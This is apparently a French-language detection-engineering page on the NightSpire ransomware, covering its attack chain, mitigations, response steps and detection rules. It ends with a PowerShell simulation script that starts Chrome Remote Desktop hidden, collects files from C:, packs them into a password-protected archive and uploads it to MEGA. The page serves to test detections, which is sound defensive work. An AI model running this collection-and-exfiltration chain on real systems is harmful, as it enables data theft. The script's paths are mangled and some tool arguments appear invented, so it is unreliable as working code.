Chaîne d’Attaque, Outils et Tactiques du Ransomware NightSpire
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
NightSpire est une famille de ransomwares basés sur Go, observée pour la première fois au début de 2025, qui utilise un modèle de double extorsion, volant des données avant le chiffrement et menaçant de les publier sur un site de fuite basé sur Tor. Le ransomware ajoute une .nspire extension aux fichiers chiffrés et place des notes de rançon dans chaque répertoire affecté, y compris les dossiers liés à OneDrive. Ses opérateurs dépendent d’outils d’administration à distance légitimes pour maintenir l’accès et utilisent des utilitaires disponibles publiquement pour la découverte, l’archivage et l’exfiltration. Entre mars et juin 2025, la campagne a touché au moins 64 organisations dans 33 pays.
Enquête
L’enquête a montré que les attaquants obtenaient souvent un accès initial via RDP exposé, puis installaient Chrome Remote Desktop et AnyDesk en tant que services persistants. Ils utilisaient Everything pour localiser rapidement des fichiers, 7-Zip pour créer des archives protégées par mot de passe, et MEGAsync pour télécharger les données volées sur le stockage cloud MEGA. Le chiffreur basé sur Go fonctionnait sous conhost.exe, énumérait tous les lecteurs disponibles et chiffrait les fichiers tout en laissant les noms de fichiers OneDrive inchangés. La phase d’extorsion reposait sur un site de fuite hébergé sur Tor utilisé pour faire pression sur les victimes après l’exfiltration.
Atténuation
Les organisations devraient réduire ou éliminer l’exposition directe du RDP, surveiller le déploiement inattendu d’outils d’administration à distance légitimes en tant que services, et appliquer une liste blanche d’applications à des binaires tels que Chrome Remote Desktop et AnyDesk. Les détections comportementales devraient se concentrer sur l’énumération massive de fichiers, la création d’archives, et les téléchargements inhabituels vers des services de stockage cloud. Des sauvegardes régulières et des procédures de récupération testées restent essentielles, et les contrôles réseau devraient bloquer les points de terminaison de téléchargement MEGA connus. Les défenses peuvent également être validées via des exercices de simulation de ransomware contrôlés tels que ceux offerts par Picus.
Réponse
Si une activité NightSpire est détectée, isolez immédiatement l’endroit affecté, terminez le processus de chiffreur et collectez la mémoire volatile pour analyse. Désactivez tout service malveillant, retirez les outils d’accès à distance persistants, et bloquez la communication réseau associée. La récupération doit se faire à partir de sauvegardes de confiance, et les parties prenantes concernées doivent être notifiées. L’incident devrait aussi être reporté aux forces de l’ordre, tandis que les défenseurs continuent de surveiller le site de fuite Tor associé pour les signes de données publiées.
Flux d’Attaque
Détections
Collecte Possible de Données [7zip] (via cmdline)
Voir
Logiciel d’Accès/ Gestion à Distance Alternatif (via process_creation)
Voir
Installation Cachée Possible de Chrome Remote Desktop (via cmdline)
Voir
Logiciel d’Accès/ Gestion à Distance Alternatif (via system)
Voir
Logiciel d’Accès/ Gestion à Distance Alternatif (via audit)
Voir
Détection des Outils de Persistance et d’Exfiltration du Ransomware NightSpire [Création de Processus Windows]
Voir
Exécution de Simulation
Prérequis : La Vérification Préliminaire de Télémétrie & de Base doit avoir réussi.
Raisonnement : Cette section détaille l’exécution précise de la tactique (TTP) de l’adversaire conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un diagnostic erroné.
-
Récit d’Attaque & Commandes:
- Configuration de la Persistance (T1547 / T1219): Installez Chrome Remote Desktop (chemin par défaut) et démarrez son service pour obtenir un contrôle à distance persistant.
- Découverte (T1083): Utilisez Everything.exe pour énumérer tous les fichiers sur le lecteur C :, en sauvegardant la sortie dans une liste temporaire.
- Archivage (T1037 / T1083): Invoke 7‑Zip pour compresser les fichiers découverts dans une archive protégée par mot de passe.
- Exfiltration (T1219.003): Lancez MEGAsync pour télécharger l’archive sur un compte MEGA.
La séquence garantit que selection_remote_access (Chrome Remote Desktop) est actif tandis qu’au moins l’un des selection_discovery, selection_archive, ou selection_exfiltration se produit, satisfaisant la condition de la règle.
-
Script de Test de Régression :
# ------------------------------------------------------------------------- # Simulation de Persistance Latérale & Exfiltration de NightSpire # ------------------------------------------------------------------------- # Prérequis : # - Chrome Remote Desktop installé au chemin par défaut # - Everything.exe installé au chemin par défaut # - 7z.exe installé au chemin par défaut # - MEGAsync installé au chemin par défaut du profil utilisateur # ------------------------------------------------------------------------- # 1. Assurez-vous que le service Chrome Remote Desktop est en cours d'exécution (simule la persistance) $crdPath = "$Env:ProgramFiles(x86)GoogleChrome Remote Desktop147.0.7727.3remoting_host.exe" if (Test-Path $crdPath) { Start-Process -FilePath $crdPath -ArgumentList "--start-service" -WindowStyle Hidden Write-Host "Service Chrome Remote Desktop démarré." } else { Write-Error "Chrome Remote Desktop non trouvé à $crdPath" exit 1 } # 2. Découverte des fichiers avec Everything $everythingPath = "$Env:ProgramFilesEverythingEverything.exe" $discoveryOutput = "$env:TEMPfilelist.txt" if (Test-Path $everythingPath) { & $everythingPath -search "C:" -output $discoveryOutput Write-Host "Découverte terminée, résultats sauvegardés dans $discoveryOutput" } else { Write-Error "Everything.exe non trouvé à $everythingPath" exit 1 } # 3. Archivez les fichiers découverts avec 7‑Zip $sevenZipPath = "$Env:ProgramFiles7-Zip7z.exe" $archivePath = "$env:TEMPexfil_archive.zip" if (Test-Path $sevenZipPath) { & $sevenZipPath a -tzip $archivePath "@$discoveryOutput" -p"StrongP@ssw0rd!" Write-Host "Archive créée à $archivePath" } else { Write-Error "7z.exe non trouvé à $sevenZipPath" exit 1 } # 4. Téléchargez l'archive via MEGAsync (exfiltration) $megaPath = "$Env:LOCALAPPDATAMEGAsyncMEGAsync.exe" if (Test-Path $megaPath) { & $megaPath --upload $archivePath Write-Host "Téléchargement initié via MEGAsync." } else { Write-Error "MEGAsync.exe non trouvé à $megaPath" exit 1 } # Fin de la simulation -
Commandes de Nettoyage :
# Arrêter le service Chrome Remote Desktop Stop-Process -Name "remoting_host" -Force -ErrorAction SilentlyContinue # Supprimer les fichiers temporaires Remove-Item -Path "$env:TEMPfilelist.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPexfil_archive.zip" -Force -ErrorAction SilentlyContinue # Arrêter éventuellement MEGAsync si en cours d'exécution Stop-Process -Name "MEGAsync" -Force -ErrorAction SilentlyContinue